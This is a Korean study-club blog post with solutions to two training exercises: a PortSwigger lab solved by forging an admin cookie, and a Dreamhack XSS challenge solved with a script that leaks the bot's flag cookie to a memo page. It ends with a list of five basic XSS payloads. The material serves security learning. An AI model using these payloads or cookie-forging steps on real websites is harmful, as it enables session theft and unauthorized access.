1. https://portswigger.net/web-security/access-control/lab-user-role-controlled-by-request-parameter
Lab: User role controlled by request parameter | Web Security Academy
This lab has an admin panel at /admin, which identifies administrators using a forgeable cookie. Solve the lab by accessing the admin panel and using it to ...
portswigger.net

admin panel에 접속해 carlos라는 user를 삭제하는 것이 문제에 목표이다.
일단 문제에서 주어진 계정으로 로그인을 해보자.

wiener 계정으로 로그인을 하고
개발자 창의 쿠키 부분을 들어가면 이렇게 두 쿠키가 뜨는 것을 볼 수 있다.
admin의 value값이 false인 상태인데 이 값을 true로 바꿔주면 admin panel에 접속할 수 있을 것으로 보인다.

Admin의 value값을 true로 바꿔주니 Admin panel이 생겼다.
Admin panel에 접속해 carlos의 계정을 삭제하자


2. https://dreamhack.io/wargame/challenges/28
xss-1
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. 문제 수정 내역
dreamhack.io
일단 전체 소스코드에서 문제 푸는데 필요한 부분부터 순서대로 해석해보자
일단은 페이지 코드를 봐보자
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
/vuln 페이지는 param 값을 가져오고 반환한다.
/flag 페이지에서 GET과 POST를 사용하는데
우리는 flag페이지에서 값을 입력해 POST할 것이므로 POST부분만 보면 된다.
POST를 하면 우리가 입력한 값을 param 값으로 설정하고,
check_xss함수를 호출해서 param과 flag를 인자로 넘긴다
/memo 페이지는

쉽게 설명하면
/memo?memo=________
저 memo 뒤에 입력된 값을 화면에 출력한다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
check_xss함수는 param과 cookie값을 인자로 받으며
url을 http://127.0.0.1:8000/vuln?param=[우리가입력한값]으로 설정하고
read_url에 url과 cookie를 인자로 전달하며 read_url 함수를 호출한다.
정리를 하자면
flag 페이지에 값을 입력해 제출하면
param = 입력한 값
url = http://127.0.0.1:8000/vuln?param=[입력한 값]
cookie = flag
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
중간부분부터 보면
driver.get("http://127.0.0.1:8000/") -> 로컬호스트에 접속하고
driver.add_cookie(cookie) -> 쿠키를 추가한 뒤
driver.get(url) -> url에 접속한다.
위에서 인자가 url과 flag가 저장되어있는 cookie를 인자로 하는 read_url을 호출했으므로
이에 맞게 해석해보면
일단 로컬 호스트에 접속한 뒤
로컬 호스트의 쿠키값을 cookie(flag값이저장되어있음)로 설정하고
http://127.0.0.1:8000/vuln?param=[입력한 값]으로 접속한다.
문제 해석이 다 되었으니 문제를 풀어보자
flag는 로컬 호스트 환경의 '쿠키'에 저장되어있다.
이 값을 memo페이지를 활용해 출력하면 될 것이다.
param 값으로 memo의 주소와 memo의 값을 document.cookie로 주는 코드를 주면 된다는 것이다.
<script>location.href="http://127.0.0.1:8000/memo?memo="+document.cookie</script>


3. XSS 공격 구문
1) <script>alert('XSS');</script>
HTML 페이지에 삽입하여 해당 페이지가 브라우저에서 렌더링될 때 자바스크립트가 실행되도록 유도한다.
이 경우, alert('XSS')는 경고창을 띄우는 명령어로, 이 스크립트가 성공적으로 실행되면 사용자의 브라우저에서 경고창이 표시된다. 실제 공격에서는 사용자가 모르게 민감한 정보를 빼내거나 악성 동작을 실행시키기 위한 더 복잡한 스크립트가 사용된다.
2) "><img src=x onerror="alert('XSS');">
HTML 태그 속성에서 발생하는 취약점을 노리는 방법으로, 주로 <img> 태그와 같은 비활성 요소에 사용된다.
onerror 이벤트 핸들러는 이미지가 로드되지 않을 때 실행되며, 이를 통해 악성 스크립트를 실행할 수 있다. 위 구문에서 src=x는 존재하지 않는 이미지를 지정하여 강제로 오류를 발생시키고, onerror 속성에서 자바스크립트 코드를 실행하여 경고창을 띄운다.
3) <iframe src="javascript:alert('XSS');"></iframe>
iframe은 다른 페이지나 콘텐츠를 현재 페이지에 삽입하는 태그이다.
src 속성에 자바스크립트 프로토콜을 넣어, 자바스크립트 코드를 실행시킨다. 이 방식으로 XSS 공격을 수행할 수 있으며, 공격자가 원하는 악성 스크립트를 실행하게 할 수 있다.
4) <a href="javascript:alert('XSS')">Click here</a>
<a> 태그는 하이퍼링크를 나타내는데, href 속성에 URL 대신 javascript: 프로토콜을 넣어 스크립트를 실행시킨다.
사용자가 링크를 클릭하면 자바스크립트 코드가 실행되며, 여기서는 경고창을 띄우는 역할을 한다.
5) <body onload="alert('XSS')">
onload는 페이지가 로드될 때 실행되는 이벤트이다.
공격자는 <body> 태그에 onload 속성을 추가하여 페이지가 열릴 때 특정 자바스크립트 코드를 실행하도록 설정할 수 있다. alert('XSS')가 실행되어 경고창이 뜨지만, 실제 공격에서는 민감한 정보 유출이나 사용자 세션 탈취 등의 목적을 가진 스크립트가 실행될 수 있다.
'ETC > EVI$ION' 카테고리의 다른 글
| EVI$ION 7기 심화스터디 과제 - #2 (0) | 2024.10.10 |
|---|---|
| EVI$ION 7기 정규 세션 과제 - #2 (0) | 2024.09.26 |
| EVI$ION 정규 세션 과제 - #7 (0) | 2024.05.30 |
| EVI$ION 정규 세션 과제 - #6 (0) | 2024.05.23 |
| EVI$ION 정규 세션 과제 - #5 (0) | 2024.05.16 |